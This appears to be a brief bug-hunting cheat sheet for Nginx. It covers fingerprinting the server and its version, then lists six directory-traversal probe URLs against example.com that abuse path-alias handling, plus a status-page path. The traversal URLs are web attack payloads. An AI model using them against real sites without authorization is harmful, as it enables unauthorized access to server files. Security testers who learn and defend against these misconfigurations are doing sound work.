Nginx Common Bugs

Introduction

What would you do if you came across a website that uses Nginx?

How to Detect

Usually in the HTTP response there is a header like this Server: nginx

Find the related CVE by checking nginx version

How to find the nginx version

By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated nginx version, find the CVEs at CVE Details

Directory traversal

https://example.com/folder1../folder1/folder2/static/main.css
https://example.com/folder1../%s/folder2/static/main.css
https://example.com/folder1/folder2../folder2/static/main.css
https://example.com/folder1/folder2../%s/static/main.css
https://example.com/folder1/folder2/static../static/main.css
https://example.com/folder1/folder2/static../%s/main.css

Nginx status page

https://example.com/nginx_status